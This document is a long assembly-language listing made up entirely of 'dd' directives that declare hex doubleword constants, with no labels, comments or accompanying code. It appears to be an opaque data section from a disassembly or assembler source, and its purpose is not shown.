dd 4498C885h, 0B4F43A00h, 0C983EB51h, 791F6033h, 8A0D7E15h
dd 0C08B4930h, 98F05B95h, 0F5331872h, 0EE52C836h, 0A20D2F0Eh
dd 76B0A05Ch, 1D9E3796h, 99D22Ch, 63783B16h, 0A0C02AEBh
dd 0B36D4730h, 45920035h, 560E0FCCh, 7330DBE7h, 25D2D88Bh
dd 46DD00B0h, 0B42AC842h, 17F8BC99h, 3A7C3Ch, 0BD0EC45Ch
dd 50B6F419h, 351F4D1h, 935883EFh, 68053653h, 9C32E216h
dd 0E057F803h, 0C396C11Ah, 93E02C21h, 0B98B0EC7h, 2CCA65ABh
dd 9AFD00C4h, 3B771F12h, 0C413A2FCh, 0F0020D58h, 40327DFAh
dd 7AF5E94h, 0F741F847h, 870B4503h, 0C1DF2737h, 0D449FCEFh
dd 0BD5038DDh, 0E03D89C7h, 67DA9D0Eh, 0BCCEB307h, 5EAECCh
dd 8C8CD9Bh, 0C85641Dh, 0BD2B0E04h, 3BBD89Eh, 241AA04Fh
dd 204F4699h, 8E044BA8h, 0DE8DAE60h, 960EA091h, 3EDB53F0h
dd 9000C546h, 695222ECh, 2B1EA99Ch, 57D09244h, 7ED0200h
dd 7874BF56h, 0D81EF607h, 0EE44F5E8h, 0CE5F1090h, 5862E54h
dd 38E10098h, 0FD468F1Ah, 7EEC5C00h, 0C4EB3EF6h, 4D62E2B2h
dd 5C75446Ah, 241C1A64h, 9ED6C351h, 90A45F7Fh, 80C195A4h
dd 0F0FDFF00h, 0AA3D2E67h, 1433FBFAh, 43EFB600h, 1FC86BA0h
dd 400F848h, 40B15429h, 4020CC3h, 642A4949h, 800487C6h
dd 884A9DDAh, 0A57E91C2h, 0FFD81368h, 0F12124DEh, 5E2805Fh
dd 0EFAD955Eh, 0D779FF0Eh, 2E1923D9h, 81C888C1h, 0B8C21304h
dd 0E31F3Dh, 43C0B3D2h, 3090D36Ch, 0B0163300h, 6E3E6726h
dd 7B0F1F40h, 5C1A004Eh, 19A23B9Ah, 0F49C1207h, 5660F5DAh
dd 0B70A2EC4h, 501C250h, 0A6A23458h, 0CEF88C67h, 447703C5h
dd 0F68A7F3Bh, 0E6C7EAC0h, 55AE1F00h, 0DFF7B65Dh, 6D400053h
dd 0CB4A3EA1h, 8700F109h, 12542608h, 6EF3DA8h, 0E3EE2CCCh
dd 9172F6A5h, 75B01B07h, 3BF003B4h, 0ADB1F3h, 0C7CFCCDh
dd 6B4595B7h, 0BA863300h, 659448FBh, 61CE3D6Dh, 0F6443F80h
dd 3149712Eh, 40C93801h, 0CDA91B15h, 2063D8h, 52A1B45Eh
dd 1A79B137h, 0A0D13E0Eh, 0E09E6F80h, 0FEFA01A9h, 0D61C000Ch
dd 4770E98Dh, 550032AEh, 521965E1h, 3C59FFA7h, 7A862Dh
dd 0B651BB46h, 0D10996CCh, 38FDAB00h, 8EC895B1h, 0FE0F008Bh
dd 47D9FC15h, 39E6F70Ch, 946F3402h, 80A3FD63h, 46D457C7h
dd 6E4B00A4h, 6F8D98BDh, 0D201C109h, 10C663F7h, 0ADFC9E9Dh
dd 0B661005Eh, 0C7BF3572h, 7FB86241h, 1F63C13Ch, 429747Eh
dd 0AF9218D6h, 0EA71064h, 5BE1C000h, 2714BA71h, 0D9F301FFh
dd 0B6EA2CE6h, 0C096D4D8h, 0B85FAF18h, 88434E29h, 424018B7h
dd 0B9E5449Ch, 4492B144h, 0C1440AE8h, 0EEF44F0h, 4214D320h
dd 201C0886h, 42940441h, 0DB990297h, 0E76A0213h, 280DB023h
dd 2250A851h, 0FE227F0Bh, 192622E9h, 512BEC31h, 29B67739h
dd 1731291Ah, 18C0794Ah, 9402FC11h, 183C76A1h, 6429383Fh
dd 86B88840h, 0C05AE040h, 57CFE1C9h, 0B27DD18Ch, 0C56CAE00h
dd 5AE5A5BFh, 1871013Fh, 0DECE74FEh, 0B617D825h, 0ABFB3C00h
dd 7F36050Bh, 0E71300B2h, 5967F2CAh, 0CF00BFE1h, 9152A95h
dd 26EFA0B7h, 120FD17h, 0E9AB9DC4h, 792CCC1Fh, 0DE119C00h
dd 0E64CED6Ch, 0F6D53F09h, 8CCBCE80h, 0FA1E18C9h, 0BD677E2Eh
dd 351A3907h, 298B13A0h, 63F14C33h, 28CE9B00h, 0DAC2CBF3h
dd 0C8E1211Eh, 0C1FCB480h, 296064h, 0B59C259Ah, 56BFC742h
dd 7C004079h, 37DD2E94h, 219495Fh, 10042067h, 70405B4Fh
dd 840094BEh, 0D905DC70h, 18230CB7h, 48676968h, 0FD000611h
dd 204F287Ch, 0C06FE609h, 0FFEE3450h, 831F4876h, 6C80F55Ah
dd 0C9F21644h, 0F98900A7h, 3735DADBh, 0D10E0D08h, 7D853C13h
dd 12CDE780h, 545DCBh, 93AD3EDFh, 0AB6BA22Eh, 4D3BA0Eh
dd 7252431Fh, 16A00027h, 3CD5A6C3h, 0F600AD58h, 0AFCC9C48h
dd 1BFE8h, 6B5D4317h, 1066DABCh, 4998DC00h, 0C550E2EFh
dd 9C220B92h, 7A80AB9Eh, 9B973A3Fh, 0CFE8115Bh, 0C058FA1Dh
dd 48C53E7Eh, 0EE3BB2ECh, 0B0A780F4h, 557D4A98h, 16C400B4h
dd 383D51D3h, 930028F1h, 9BA1FBA7h, 0D9D027h, 6630EB6h
dd 8D16CD2Bh, 97DB7C00h, 0B854506Bh, 0B88CF478h, 6759001Bh
dd 0F8581A6Fh, 7703EBCDh, 0E0B1F974h, 0E091820Dh, 0E66550D9h
dd 209F6AAh, 6AC75B30h, 0C60BB68h, 0DA0049A4h, 18CAC9F0h
dd 3A81784Fh, 94806625h, 8B7F84A9h, 0C807CBFEh, 73D59BE7h
dd 2A7BA90h, 74FDFAF2h, 0EFCD0059h, 922CBDCFh, 0E900D188h
dd 3CC5B485h, 31AF97Dh, 8EB561EEh, 5A90A941h, 0DC48890Bh
dd 0E8340E98h, 7AC8E025h, 1383C477h, 7210B4h, 373E62E3h
dd 8BE03AF1h, 0D0ECC01h, 72FD710Bh, 13A899E0h, 367E33h
dd 0B010AD70h, 53001C35h, 5C955AE4h, 0D5C5BDh, 0F27DB3F3h
dd 6A6681C4h, 0DFAD3D00h, 64F77962h, 403005Dh, 997D8BB1h
dd 773F129Fh, 601780EDh, 243907B5h, 0EC0F00C2h, 0E381115Eh
dd 2603ABAAh, 8AA18C56h, 0E40188CEh, 79E801BCh, 4207D565h
dd 858C408Eh, 0B518A6DAh, 0F641833Bh, 0CE7CA0h, 511D3CEDh
dd 4F0FAE40h, 456D3603h, 0D0623898h, 2D413h, 5E66AC08h
dd 8A7022F8h, 80269D3Fh, 800E3141h, 0D7EE51h, 859795BEh
dd 0DE5E8AFCh, 88D40D00h, 74B9393Ch, 0D34E0011h, 5127065h
dd 487C71C8h, 6C5A7900h, 0B241A12Dh, 86DF00CAh, 0A45BAEF5h
dd 7C909C6Dh, 4FC8B607h, 22EFCB93h, 4096280Eh, 3826368h
dd 5FDDBABEh, 0ACF8847Dh, 0DF00FDE1h, 994B6DB7h, 1CA46208h
dd 0FEDA7Ch, 879E8E6Fh, 0FF0784F6h, 711533DDh, 0E0F008B3h
dd 0BEF364Dh, 0FE312D8Ah, 0C2C7E0F5h, 3256138Bh, 0C3740016h
dd 0F526ED8Ch, 0D62C7E00h, 0EECEDE23h, 0A1CA0041h, 0F962C533h
dd 0A700CB03h, 0A69ECC6Ah, 0AA731Eh, 4723074Ah, 15ACE245h
dd 0E7BF0101h, 3BA10C9Fh
dd 1AA7E8h, 5C5FCEE4h, 5A819A60h, 0B8963900h, 56CA32F4h
dd 0A1530F1Eh, 2CAFA4B3h, 57970E80h, 0D20091D5h, 0AE1BA02Dh
dd 361F8h, 19C468C7h, 23586E47h, 2AC24800h, 7330A5C3h
dd 7B27666h, 0CBD83A5Ch, 0F05D701Ah, 52003493h, 74F1976Ch
dd 0A5234Eh, 4539696Ah, 7EC3639Dh, 0CB2C8300h, 0A12842C5h
dd 0DE1E3A11h, 0DDE6BF07h, 558F0A5h, 0B8006953h, 0B62886A6h
dd 99578Ch, 80D22B7h, 81E409D4h, 0C6116315h, 2B7500B8h
dd 0CF49A882h, 59550F5Fh, 0CFBFAED5h, 60E0D142h, 481DA64Fh
dd 6908BF05h, 0C1C707C4h, 4ADCAF90h, 8044B316h, 0FBD70820h
dd 9785FD2h, 0C219AF00h, 0A086E727h, 66E1038Ch, 0B48197F5h
dd 88AB7F0h, 44325400h, 5DF4FECDh, 2597128h, 0C7D8BCD0h
dd 8663632Dh, 40C50890h, 65124A7Dh, 4C020F34h, 6BE97787h
dd 4D20D018h, 1BB50006h, 278B2D58h, 24009A91h, 0EBD6350h
dd 1EF04CBh, 3A2F4F9Dh, 0F4EE7608h, 0F7005817h, 6158A7Eh
dd 19CB169h, 3CCDC3B8h, 3018A6F8h, 9A00878Ch, 9179E3A2h
dd 0CBE92Eh, 4AE429F6h, 0BA0E4C1Dh, 2374BC00h, 202F5EBBh
dd 1B8D1667h, 6EC80078h, 7E8E89CDh, 0BE769501h, 6B06EE65h
dd 63E8B880h, 3ECE60EDh, 967F271Dh, 0DB8A5240h, 870FC3h
dd 0F789AE76h, 12375D2Ch, 67CD3Ah, 0F3C1933Bh, 1CCAC4Fh
dd 0BC74D6B4h, 0FC29E9C8h, 0A3001709h, 3FCF36E8h, 366D84DCh
dd 0F4980D41h, 0F99CCC00h, 0D2EC3126h, 0B01D386Fh, 3EBB900h
dd 0C941F683h, 93BF0400h, 61362A23h, 1EF8EAFEh, 0F13181h
dd 0D377DC4Eh, 0E0007AD6h, 8D577C37h, 7472B983h, 13760035h
dd 5DB3F50h, 670F2C98h, 0C2775646h, 0C061B67Bh, 8E8AE1h
dd 0F0368663h, 0E6DE389Ch, 0E30018B8h, 0FAC150E8h, 60DCCBh
dd 0AE66C448h, 9E2B0EC7h, 0A82DB73Bh, 0A9F2AC7Bh, 5E1F8E00h
dd 8B31C164h, 78131374h, 0A2880F0Ah, 5080DC47h, 7CB0BDD9h
dd 3B6348h, 0D6C5EF6Ah, 0CAFEF4h, 0F9D75B1h, 1AEDF10Ah
dd 18D3B000h, 6335223Eh, 0A7040046h, 1408ABACh, 0DB03D57Ah
dd 3F9BB043h, 7BF1007Dh, 207875EEh, 9D006DBCh, 189E5064h
dd 1C7DDEBh, 22C4BA65h, 0F87B9683h, 0CBF68166h, 0DC492609h
dd 6CC88014h, 0F35AEh, 7F6ABE74h, 0EC86B99h, 80173698h
dd 4C40B08Bh, 0FBE3BF50h, 5AD7219h, 0FEBD908Ch, 396C070h
dd 0AE0C31D6h, 98A90AF4h, 0FB55011Bh, 0E2C165EEh, 0BF5BCC4Ah
dd 579FDA00h, 5AA208E0h, 1DFFB093h, 0C006EAC9h, 0B93A3B69h
dd 0A07B6A51h, 3C0B420Eh, 681D5734h, 0C84E68C0h, 0C3118Bh
dd 7519FA23h, 8F264BA4h, 0A5C9D501h, 5159279Fh, 690BB440h
dd 8AAF0095h, 73E26A65h, 7700F7F8h, 0CBD1948Ch, 1BF0F1Bh
dd 0E8F9B867h, 0D04389A8h, 1C0124D7h, 0F1118D64h, 0A7C4DBBEh
dd 416B0060h, 1536D547h, 900072B5h, 78199591h, 0E2A03Ch
dd 0A285D0BEh, 56D50577h, 7A9A6F00h, 0A8EC37E8h, 0F092F9h
dd 0EE1F257Fh, 488CF0B6h, 6F292300h, 7B7D52E8h, 0E9B8C009h
dd 68F1C62Fh, 4150A900h, 930B760Eh, 80350B1Ch, 3100155Ch
dd 44CCA3A4h, 87073E3Dh, 9FD16A6Bh, 24C10069h, 1C68780Eh
dd 2B73CAh, 9E5ECF3Fh, 9100DEEDh, 0E92CC58Ah, 802399h
dd 19B62705h, 68C29496h, 0ED4D3D00h, 0AD1A6CBEh, 0DCE01DA4h
dd 8E25C035h, 7C76C36Eh, 67ED9B09h, 0E06820D8h, 2C74FAFEh
dd 31DA3Dh, 3D37A04h, 0CC00BB2Dh, 944B84C9h, 0A7F9B9h
dd 0E21190D7h, 12BCB0A3h, 16BAD38h, 3860E915h, 2872B4h
dd 9E3C10EBh, 38D8ECDFh, 0D4B77880h, 0BBFCF325h, 0CAEA1F00h
dd 21720CF2h, 8AAC02F8h, 0FAE4E17Dh, 5D101EE0h, 95C8D38h
dd 807E1248h, 899F7000h, 698B140Dh, 79FC3Dh, 99596DBDh
dd 1EABF0C4h, 3B657200h, 0DEE16ABCh, 50302C38h, 0BE68918h
dd 0C021C485h, 0E48EC344h, 0E7CA6D07h, 0F2E088AFh, 60ECDD57h
dd 498C2010h, 9F0004EFh, 0EAA01713h, 421FFFh, 466D1CFDh
dd 0A7FC3089h, 1E8BA909h, 0BCE000A1h, 7219ECC4h, 0DD401D91h
dd 0C395C1ACh, 0E07493A0h, 0D00BDEEh, 202E71DFh, 3D8DFBE5h
dd 0BEBE1942h, 8A895D00h, 1FC260E6h, 44CA8E1Dh, 80B7208Bh
dd 19F8208h, 3E413C52h, 3DFC3A80h, 89D29311h, 8883FA1Ch
dd 417BA30Eh, 0D0B9AC4Eh, 75BFC0h, 9C4284BBh, 2A58B449h
dd 78077C00h, 16F6DC5Ch, 0C2AF0059h, 9E906C86h, 0B50396ABh
dd 0D55F13A5h, 0E2C8F818h, 0EDB63DC5h, 72A81D82h, 8A804D25h
dd 8D14EE9h, 64934C24h, 0B9605880h, 0FEA6EF3h, 9D2DC631h
dd 8D98EDA0h, 0A63C9F7Eh, 0A9E780E8h, 7368771Bh, 0AFF7DC5h
dd 0C104BF42h, 40EB0BCFh, 0EDC31300h, 150028FBh, 0A39D7A47h
dd 2D067Eh, 8A308D0Ah, 16EA9927h, 301BE39h, 3E548890h
dd 0D0C39025h, 0EC0C1CACh, 0D55B00F1h, 0FACB0543h, 73DC4500h
dd 1133DB35h, 0C7CA009Bh, 56AD8674h, 0F3003924h, 17E36A3Ch
dd 3B4126h, 9D981B1Ch, 0D8E1E7A7h, 33CFCF2h, 0A00C259Ch
dd 0B923DD60h, 7BCC006Ch, 94D9530Eh, 0D501A6C4h, 0F80A2634h
dd 0A8DF54EDh, 91063Ah, 74D8CD47h, 6E39B14Ah, 0B9903809h
dd 0E6800FFh, 1F51EC58h, 0C05FD0F1h, 9759418Ch, 781DB606h
dd 7209624Dh, 5CC46Eh, 92560B50h, 0B408C4AFh, 3B75AE00h
dd 0E353CC89h, 6C520039h, 0B92C5C6h, 0D6004808h, 366F5D9h
dd 75E275Bh, 0F988FBFFh, 0A21D407Dh, 0BF076EAAh, 358A4EEDh
dd 337EAB50h, 9075181Fh, 0D3490E79h, 5F1B5B00h, 0C245257Bh
dd 0CA800096h, 5A6FA121h, 613FF358h, 6967000Bh, 24350D46h
dd 0BF3E00EBh, 0F8499E0Eh, 0BD021B33h, 7C5A89Bh, 77ECE059h
dd 561000D2h, 0FCEA5C65h, 5E1DE3E2h, 97683CBBh, 81307D00h
dd 8DF45036h, 153900ABh, 7F78B8D1h, 0E9009ED2h, 76AFDD68h
dd 3474EF6h, 0C6106D71h, 0D5B03AACh, 30002C08h, 0CAC0CEDDh
dd 2F53141h, 8509976Fh, 0B4486B20h, 0A900D286h, 0B030D7C7h
dd 0EEA42E0h, 0AB84BAAAh, 9653E00h, 9802D135h, 0ED2A36FEh
dd 864BC17Eh, 978AE4h, 0D8EB5929h, 6728CFF7h, 0E138DE7Dh
dd 4E138A08h, 1D01A2B6h, 81BDCD40h, 43B19942h, 0ECC90FCh
dd 10CE070Ch, 10749662h, 81F1E442h, 4683050Fh, 66596153h
dd 7DC94132h, 482720h, 393DBC93h, 33D89C69h, 5EAF038h
dd 70B76D0Bh, 2488E880h, 2F581CD3h, 0A1CA407Fh, 84E9FDB4h
dd 605BA900h, 63CE2630h, 7E46014Bh, 6B787617h, 1143657h
dd 56C1F973h, 25CDB664h, 2B00D839h, 0ECB480A1h, 9028298Ch
dd 0F22CFC39h, 1007186h, 1584535Fh, 0E2E7794h, 68B1591Ch
dd 744C56E0h, 0F848AD9Ch, 16E6003Bh, 5BCECD4h, 722000B4h
dd 1BDE31FBh, 0F124A4BAh, 0F31E7C5Ch, 4829892h, 8561E0D7h
dd 0EDF20044h, 0B3973A94h, 1F00BE38h, 0CEF19C14h, 3F8C2A22h
dd 94BF1AC7h, 7948D4D0h, 8B3200B0h, 0BC5FDC54h, 0C000E8F4h
dd 0E0A05734h, 71BBFB5h, 0C44CD59Fh, 3E56A081h, 1400CEC8h
dd 0BF3CD40Bh, 0B4C36Fh, 3A738D95h, 0A87CCAAh, 1279A700h
dd 2831A969h, 0E2A50006h, 50F63249h, 15004013h, 20D6241Ah
dd 38051794h, 34804A33h, 0F007E87Bh, 37003286h, 0FE7F52D0h
dd 0F3D7056h, 48BEEF68h, 0C3922A80h, 133B96FDh, 18B68006h
dd 74DBCF17h, 0EE9D0350h, 538D0F25h, 690881E5h, 0F50C30F8h
dd 376DB300h, 13DA846h, 4F641D73h, 0F38A4E7Eh, 8F7C4A93h
dd 4C500188h, 0F4E1152Ah
dd 16014B29h, 0FE915FC0h, 63204DBCh, 0BF2002Bh, 28B7F6D6h
dd 10599017h, 0BF0900CCh, 0D89112D0h, 0CB180023h, 0AB9DC3CCh
dd 20001BDh, 673E0E6Bh, 1D9884h, 0E4FAAAE6h, 383F1876h
dd 8927BF03h, 0DA687236h, 0D748E0B7h, 0D36A00F1h, 476D186Eh
dd 0BE074E9Ah, 0EBE35433h, 8D7A20A0h, 0DF8601B9h, 0A404A1D6h
dd 2080D9F3h, 0C10074A5h, 7C64CE1Eh, 7B0CE381h, 12349848h
dd 0D05031F6h, 2445A1C4h, 0F27B4900h, 6AEBB91Bh, 42B51C66h
dd 54C9C298h, 6040AA81h, 0C400FA8Eh, 0D7F98FD8h, 759D2Ch
dd 0C02350B3h, 32977F0Eh, 2B8E0800h, 0E662BF39h, 19FF017h
dd 2AD4BE05h, 2046F4D6h, 0D100297Dh, 18861187h, 41E02Dh
dd 0CA16B621h, 0BA49AAF1h, 0A8A7E82Ch, 0E6C8730Ch, 75D30065h
dd 0A19515ABh, 120591CDh, 16BC3D6Ah, 93E0F000h, 0C3D5C1h
dd 0F197CEDBh, 0CC711167h, 9126F001h, 78FCB16Bh, 0C7B8C840h
dd 3050007Dh, 2022A8DCh, 510068FDh, 2FC2E058h, 0EEBB29BAh
dd 4063A4Dh, 5BD28A80h, 0E279D47Ah, 0E8974207h, 20608525h
dd 0E4ED9Eh, 0ECBF0CC5h, 6BD4B08h, 0A7977D00h, 32721A69h
dd 3D2902B7h, 50DAD26Eh, 0F30C20E0h, 9CFE7100h, 0C1341DD5h
dd 0EB85005Ch, 3DE9AE8Dh, 7B01B6C2h, 73B3E13Ch, 8871E778h
dd 0DAF72A80h, 38812955h, 0C60026E2h, 578789C4h, 73B483B3h
dd 0ECEA012Dh, 0E661EE1Bh, 916B6019h, 8D003198h, 729458F4h
dd 745F37Ah, 7DF7BD28h, 0E4EAD03Fh, 4A000757h, 3858E3DFh
dd 0FC5DA93Ch, 5BE824F2h, 0F56A001Ch, 7C919B51h, 7C58C024h
dd 1873D981h, 0B82CAEC4h, 0A1BEFE85h, 5DBEC34h, 8B31DD01h
dd 0BC884D93h, 0CA67C0h, 0F2207242h, 0E3D5161Ch, 0F072C1Ch
dd 0F103BF5Fh, 98C2A0EFh, 984A29h, 32A42387h, 6321DFD1h
dd 0F6183300h, 2799C1DCh, 0B1C500B2h, 4254CEF2h, 0AB005310h
dd 0A04D7B55h, 4F8056ACh, 89EC97h, 0A9BC7F69h, 381BED96h
dd 303955Ch, 0DBB66B11h, 76FF37E0h, 0B0F70B2Ch, 35D85B00h
dd 15DF912h, 52C01044h, 0EC745E02h, 0F21FC8FBh, 0D8406D67h
dd 183BE3B5h, 5C3F0050h, 3D091D8Bh, 411EDF69h, 0FDC0F7FBh
dd 0F6F5469Ch, 64E80E5Ch, 718F8D54h, 153DF3C0h, 55028B43h
dd 21330EC9h, 70EC19h, 6B81E3BFh, 6A987F9Ch, 3C0E0D30h
dd 71232E4h, 735ECAE1h, 5A1DF063h, 233C4DACh, 0E88A807Dh
dd 0C548D29Dh, 0E1B100D0h, 0EA9EE278h, 9800224Ah, 0ADE8543Dh
dd 0C04C14h, 0F83AB046h, 5B40CEDEh, 5CF3100h, 0CB9C8F3Ch
dd 0A8140AC3h, 5D012A9h, 40B1706Ah, 64F9DA50h, 0A22C31FCh
dd 200158Ah, 5F671CC5h, 32E7216h, 6021C995h, 35B12892h
dd 0D054703Dh, 98A7CE00h, 5DC36886h, 0DB0A0956h, 428EC496h
dd 0FDD96900h, 5B002E2Dh, 72E4B233h, 0DD2637h, 229C2F45h
dd 0BA8C4CCDh, 0CC5C6F28h, 0B8DA272Fh, 11A33B4h, 55A0E4E9h
dd 0C8935EBAh, 0F801DA6Eh, 0CD3A1762h, 0F6DCC0C3h, 0EA8139Ch
dd 10944192h, 0F5880887h, 0F28430B7h, 0C3EEA700h, 1248CA6Dh
dd 2B2509BEh, 0F4A1FD86h, 0F0E7C790h, 10DCC50Dh, 25233300h
dd 0FEFACBh, 0C2E23EE9h, 81D1CE87h, 3BA84906h, 0A29284h
dd 9016F018h, 0D1EAFB0Bh, 82F3190Ch, 88C015h, 0FAA7EB07h
dd 878D0EB7h, 0A6E9E400h, 1A11A17Bh, 619E0428h, 802E12EBh
dd 0D30B3883h, 91DDC901h, 0D776A7E4h, 0F6EFD0E7h, 0CF20058h
dd 4681F4F8h, 0A50A089h, 3000639Ch, 0BBF3383Bh, 164125h
dd 0DA7F62C7h, 0BEFBBF95h, 58EE4Ch, 1EA60477h, 0D9DD47h
dd 5DA5CEADh, 0E170E620h, 0FCE5010Bh, 5140609Fh, 3A3881C8h
dd 0B83E53F0h, 0A942014Bh, 26C94948h, 0ECF8FC54h, 0F3FD4500h
dd 0F9828BDBh, 3A25007Ch, 0BF367BA7h, 1758EEACh, 839983C4h
dd 0AB9EA85Dh, 0A49C003Fh, 0EB04529Bh, 0ED008ACBh, 0E50FFBB2h
dd 55384C5h, 18A5D8EAh, 72DCC1ECh, 7D5C2069h, 9E52D200h
dd 0C3DC3FC8h, 45303BFCh, 0C984AF8Eh, 0F18F13E2h, 0B89FD480h
dd 0A90097DCh, 427ED7F3h, 3F77F279h, 0AD0154DDh, 4D632C0Fh
dd 98002AEAh, 0A715B212h, 54D50F36h, 2AE10E14h, 0E1EACC58h
dd 60F0F961h, 6239C450h, 0A340002Bh, 0D206EB23h, 905F17E6h
dd 2040008Eh, 0DFB7E308h, 9601B9E4h, 0F5A44B2h, 31D0F671h
dd 0EC4AEFh, 5BD44D82h, 6700E370h, 0EDCCFAC5h, 79422F63h
dd 8C86380Ch, 0AB74A500h, 732CBFAFh, 137BE900h, 95585298h
dd 0E4F000E5h, 997BA45h, 0AD00CCB1h, 2ADF7048h, 18EAD783h
dd 282129B9h, 0F60066CAh, 0D9F45DAAh, 0E8CA714h, 3705D769h
dd 40E4DB20h, 0B6017BD1h, 0DA8719E2h, 0E3CC2B5Fh, 54763F74h
dd 31C0E500h, 3278D685h, 0E7346C00h, 49922340h, 9ADA00E9h
dd 642FF92Eh, 0A100273Eh, 6DA20419h, 1C6E374Ah, 0FDAFCEC1h
dd 999CC04Ah, 0C3FE8514h, 42C9B602h, 70D06B8Ch, 3E9C02F0h
dd 76207AD8h, 989AD840h, 383C1700h, 0C8C7149h, 0F20B86Fh
dd 0F0658128h, 0F4329BA0h, 0FC09100Fh, 78A8B5E4h, 0E3FA2C50h
dd 9E34806Ch, 4E27AC52h, 0EF03F58h, 0E3BC3347h, 0E0C22002h
dd 0F8D673F9h, 0FB520050h, 0CB3F9EF1h, 0E5018048h, 86CD1505h
dd 4080A829h, 0E35F7B0Ch, 353888B8h, 9826A5D5h, 0E0644738h
dd 3E8A00F1h, 3805F067h, 8C00E11Ch, 3CF71EB2h, 0E5A2682h
dd 0C60CD741h, 9F80DF4Eh, 6C49F28Dh, 0A42ADC17h, 70182A07h
dd 60EFEE60h, 0C31F38FBh, 0A52E5600h, 27C187FCh, 7E634701h
dd 76D344E9h, 5CEF4h, 0D09EFB9h, 404A8998h, 3B655Ch, 94A56811h
dd 50C20755h, 0C8847h, 0E58F7E91h, 75D5F063h, 90EEDC90h
dd 9F9C4554h, 21CA6E00h, 0A12D9CCDh, 78A26370h, 0AC8074CBh
dd 0ED01FBDBh, 61118D85h, 58C2358Ah, 9ECF00C0h, 3DF1CA13h
dd 3100BEACh, 0D8EB5896h, 3A4898A4h, 2D800B44h, 4B93ECAh
dd 55015640h, 229FD71Bh, 8030AB96h, 1E17009Ch, 94BD5FDBh
dd 0BF004E3Ah, 48147E78h, 1F6ECEDCh, 367972h, 0D6EFA66Dh
dd 0B03D6C18h, 0C4FB00CBh, 0D8ACDDB2h, 581E00A9h, 6C17BAC9h
dd 0C700C078h, 0DB4CF756h, 0B220ACh, 73268611h, 61A16409h
dd 0DA787A01h, 79553B4Bh, 17691464h, 0BB4DDD66h, 2D006F12h
dd 41339084h, 0C7310E21h, 2C20B3C8h, 427C9E93h, 951A0F00h
dd 8114B4Fh, 5CD8EA3Bh, 8100AC30h, 10925E89h, 0B0009DAEh
dd 18311B4h, 128F524Bh, 0C6EBEFh, 0FD9AE81Dh, 0BD00734Ch
dd 9E927285h, 396BD441h, 160047D6h, 0F4E3A74Ah, 0E900436Eh
dd 0C34E6453h, 27B55867h, 845C0C09h, 1781200Fh, 5FF100CEh
dd 0B3B10CC9h, 84A31D18h, 8105362Fh, 4134BB97h, 0D93F03AFh
dd 0ABD083EEh, 800A9F17h, 2BACC6h, 0CB233082h, 0EA4836Eh
dd 8037443Eh, 0ABB1AD01h, 6E02E94h, 0A1C34399h, 0D80210B7h
dd 5D37CF22h, 285048A2h, 4421E6Bh, 8AA4C2FDh, 34E9B264h
dd 80246CE1h, 258ED669h, 8880EBB1h, 21373454h, 0C600F3CAh
dd 40E93F16h, 9B92E5Eh, 1855EFA9h, 0CE65C800h, 7700A2CBh
dd 0B1E71C0Ah, 8C4AB2h, 0A9D1FDCCh, 4DF2B483h, 0EF5E3D1Fh
dd 6E808B39h, 0B61F0095h, 8729Ah, 31CAAA1Fh, 8DBA3A66h
dd 0D70D211Eh, 43641801h, 63F04FAFh, 3C0F007Fh, 0DAC6A7E2h
dd 80955E82h, 694F26F8h, 0F21F280h, 0B6B4027h, 0BF3AF261h
dd 0B2B8406Dh, 65170AD1h, 28D0AA5Eh, 0F32E7Ah, 91F01DEDh
dd 593AFA63h, 16771000h, 38D86F75h, 0C07E7Ch, 0BB1F8908h
dd 8F588E68h
dd 2D4A94Ch, 0D4F8FDA0h, 3DC87813h, 0DB407Eh, 890224A0h
dd 0AC00E5BAh, 0DC53156h, 8AA165h, 0A3FE961Fh, 2ECA7D7Eh
dd 0FC80094Eh, 928E9480h, 66410014h, 0FDE2D9AEh, 2500E46Bh
dd 9B3539E8h, 106E1D7h, 0F6F5814Bh, 80AB79D1h, 2B27DB70h
dd 3F88ED7Ch, 0E000363h, 82C8772Eh, 6C00676Eh, 0F793D599h
dd 226A343h, 4A6149FAh, 9980ADACh, 0EADD95A2h, 0E98D2101h
dd 0C5E20A41h, 7A6D1CD4h, 138900F5h, 420451BDh, 5B008471h
dd 0BA3D69E5h, 1E8D056Eh, 7C6DEA0Bh, 8639A800h, 0CF82920Dh
dd 3091F100h, 0C403F968h, 54E300B1h, 0AB0A12AEh, 0E8004784h
dd 5CE4764Bh, 386872Ch, 94D64F9Fh, 0C382CC61h, 0FE423474h
dd 291C41CBh, 5D14D839h, 53009CCDh, 9738C2AEh, 0E8947B43h
dd 0B603FA00h, 3529F7Eh, 211D5D25h, 30A02DC9h, 6100688Ch
dd 2EE9F29Ch, 0BEA53Fh, 40298755h, 807ADD98h, 33278600h
dd 0D4B77695h, 836338B4h, 0C5FE1Dh, 807385EBh, 68007845h
dd 10B3967h, 12B86C89h, 0ECE755Ch, 0D72020FFh, 1BEC0591h
dd 831F7000h, 1EB51742h, 1C5AF0B8h, 495C3844h, 8200A4EBh
dd 0D4F30D4h, 8E2D9927h, 0FFF7A0E4h, 1C6E73B1h, 0C7232C20h
dd 109B8645h, 1AA0A4A2h, 0EAD5200h, 14CE0B75h, 0B5CA00A9h
dd 0F1DC6AABh, 0F01707E0h, 0C200371Fh, 1EEBE170h, 1088003Ah
dd 9A3CD611h, 3700CC44h, 0AF620B17h, 62F19h, 5E3952D9h
dd 3FEA27D2h, 1AA2E507h, 33440DAh, 0BBE697C1h, 3D32460h
dd 5D567E3Bh, 30F01912h, 27007C5Fh, 0AFC4DC72h, 0C75E9Eh
dd 3C12ED4Ah, 0EFCC88E9h, 5410CF00h, 0DB9EE3E8h, 82AC1424h
dd 43399BEAh, 6EBBA880h, 78ADF88Bh, 7324DC00h, 60ED0FDBh
dd 14520E4Eh, 0E521FBFFh, 0FC63DD68h, 0C0000E57h, 0B6D4F5F8h
dd 3863CA4h, 1F3D7436h, 0ED887EF4h, 2B00C772h, 3412CE0Ch
dd 44BFC32h, 14E0E257h, 0B77CA02Dh, 3F0982EAh, 807DF5F6h
dd 0DB6E0690h, 429B24EDh, 402E9FD4h, 60D2D43Bh, 0DE005864h
dd 0EC89714Ah, 0F8F3AAA9h, 4730018h, 3BD9E862h, 0C609E21Bh
dd 81896DFDh, 0D0E01DD2h, 40161192h, 10A96F1Ch, 834DA54Ch
dd 0DD9A28CCh, 0C2936102h, 0E823A7A0h, 0A92E4h, 7EC0E5D3h
dd 0D9C3B155h, 0C4895300h, 927C513Ah, 21D763F4h, 966029A7h
dd 0EFF0D038h, 6A7B54h, 68DC61EEh, 91B963F4h, 97F9BF08h
dd 73D6FF7h, 0C0EBE645h, 0B32D39BDh, 71EEA80Bh, 0BF9C21E3h
